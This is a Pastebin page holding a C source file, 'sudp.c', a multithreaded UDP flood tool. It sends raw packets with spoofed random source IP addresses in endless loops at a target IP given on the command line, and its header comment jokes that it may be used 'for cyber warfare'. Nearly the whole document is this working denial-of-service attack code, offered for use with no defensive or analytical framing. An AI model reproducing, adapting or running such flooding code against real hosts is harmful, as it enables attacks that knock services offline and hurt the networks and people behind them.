SHARE
TWEET

sudp.c

wtfbbq Mar 14th, 2015 (edited) 1,663 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3. */
  4. #include <time.h>
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13. #define MAX_PACKET_SIZE 4096
  14. #define PHI 0x9e3779b9
  15. static uint32_t Q[4096], c = 362436;
  16. struct thread_data{
  17.         int throttle;
  18.         int thread_id;
  19.         struct sockaddr_in sin;
  20. };
  21. void init_rand(uint32_t x)
  22. {
  23.         int i;
  24.         Q[0] = x;
  25.         Q[1] = x + PHI;
  26.         Q[2] = x + PHI + PHI;
  27.  
  28.         for (i = 3; i < 4096; i++)
  29.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  30. }
  31. uint32_t rand_cmwc(void)
  32. {
  33.         uint64_t t, a = 18782LL;
  34.         static uint32_t i = 4095;
  35.         uint32_t x, r = 0xfffffffe;
  36.         i = (i + 1) & 4095;
  37.         t = a * Q[i] + c;
  38.         c = (t >> 32);
  39.         x = t + c;
  40.         if (x < c) {
  41.                 x++;
  42.                 c++;
  43.         }
  44.         return (Q[i] = r - x);
  45. }
  46. char *myStrCat (char *s, char *a) {
  47.     while (*s != '\0') s++;
  48.     while (*a != '\0') *s++ = *a++;
  49.     *s = '\0';
  50.     return s;
  51. }
  52. char *replStr (char *str, size_t count) {
  53.     if (count == 0) return NULL;
  54.     char *ret = malloc (strlen (str) * count + count);
  55.     if (ret == NULL) return NULL;
  56.     *ret = '\0';
  57.     char *tmp = myStrCat (ret, str);
  58.     while (--count > 0) {
  59.         tmp = myStrCat (tmp, str);
  60.     }
  61.     return ret;
  62. }
  63. unsigned short csum (unsigned short *buf, int nwords)
  64. {
  65.   unsigned long sum;
  66.   for (sum = 0; nwords > 0; nwords--)
  67.   sum += *buf++;
  68.   sum = (sum >> 16) + (sum & 0xffff);
  69.   sum += (sum >> 16);
  70.   return (unsigned short)(~sum);
  71. }
  72. void setup_ip_header(struct iphdr *iph)
  73. {
  74.   iph->ihl = 5;
  75.   iph->version = 4;
  76.   iph->tos = 0;
  77.   iph->tot_len = sizeof(struct iphdr) + 1028;
  78.   iph->id = htonl(54321);
  79.   iph->frag_off = 0;
  80.   iph->ttl = MAXTTL;
  81.   iph->protocol = IPPROTO_UDP;
  82.   iph->check = 0;
  83.   iph->saddr = inet_addr("192.168.3.100");
  84. }
  85. void setup_udp_header(struct udphdr *udph)
  86. {
  87.   udph->source = htons(5678);
  88.   udph->check = 0;
  89.   char *data = (char *)udph + sizeof(struct udphdr);
  90.   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
  91.   udph->len=htons(1028);
  92. }
  93. void *flood(void *par1)
  94. {
  95.   struct thread_data *td = (struct thread_data *)par1;
  96.   char datagram[MAX_PACKET_SIZE];
  97.   struct iphdr *iph = (struct iphdr *)datagram;
  98.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  99.   struct sockaddr_in sin = td->sin;
  100.   char new_ip[sizeof "255.255.255.255"];
  101.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  102.   if(s < 0){
  103.     fprintf(stderr, "Could not open raw socket.\n");
  104.     exit(-1);
  105.   }
  106.   memset(datagram, 0, MAX_PACKET_SIZE);
  107.   setup_ip_header(iph);
  108.   setup_udp_header(udph);
  109.   udph->dest = htons (rand() % 20480);
  110.   iph->daddr = sin.sin_addr.s_addr;
  111.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  112.   int tmp = 1;
  113.   const int *val = &tmp;
  114.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  115.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  116.     exit(-1);
  117.   }
  118.   int throttle = td->throttle;
  119.   uint32_t random_num;
  120.   uint32_t ul_dst;
  121.   init_rand(time(NULL));
  122.   if(throttle == 0){
  123.     while(1){
  124.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  125.       random_num = rand_cmwc();
  126.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  127.                (random_num >> 16 & 0xFF) << 16 |
  128.                (random_num >> 8 & 0xFF) << 8 |
  129.                (random_num & 0xFF);
  130.  
  131.       iph->saddr = ul_dst;
  132.       udph->source = htons(random_num & 0xFFFF);
  133.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  134.     }
  135.   } else {
  136.     while(1){
  137.       throttle = td->throttle;
  138.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  139.       random_num = rand_cmwc();
  140.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  141.                (random_num >> 16 & 0xFF) << 16 |
  142.                (random_num >> 8 & 0xFF) << 8 |
  143.                (random_num & 0xFF);
  144.  
  145.       iph->saddr = ul_dst;
  146.       udph->source = htons(random_num & 0xFFFF);
  147.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  148.      while(--throttle);
  149.     }
  150.   }
  151. }
  152. int main(int argc, char *argv[ ])
  153. {
  154.   if(argc < 4){
  155.     fprintf(stderr, "Invalid parameters!\n");
  156.     fprintf(stdout, "Usage: %s <IP> <throttle> <threads> <time>\n", argv[0]);
  157.     exit(-1);
  158.   }
  159.   fprintf(stdout, "Setting up Sockets...\n");
  160.   int num_threads = atoi(argv[3]);
  161.   pthread_t thread[num_threads];
  162.   struct sockaddr_in sin;
  163.   sin.sin_family = AF_INET;
  164.   sin.sin_port = htons (rand() % 20480);
  165.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  166.   struct thread_data td[num_threads];
  167.   int i;
  168.   for(i = 0;i<num_threads;i++){
  169.     td[i].thread_id = i;
  170.     td[i].sin = sin;
  171.     td[i].throttle = atoi(argv[2]);
  172.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  173.   }
  174.   fprintf(stdout, "Starting Flood...\n");
  175.   if(argc > 5)
  176.   {
  177.     sleep(atoi(argv[4]));
  178.   } else {
  179.     while(1){
  180.       sleep(1);
  181.     }
  182.   }
  183.   return 0;
  184. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top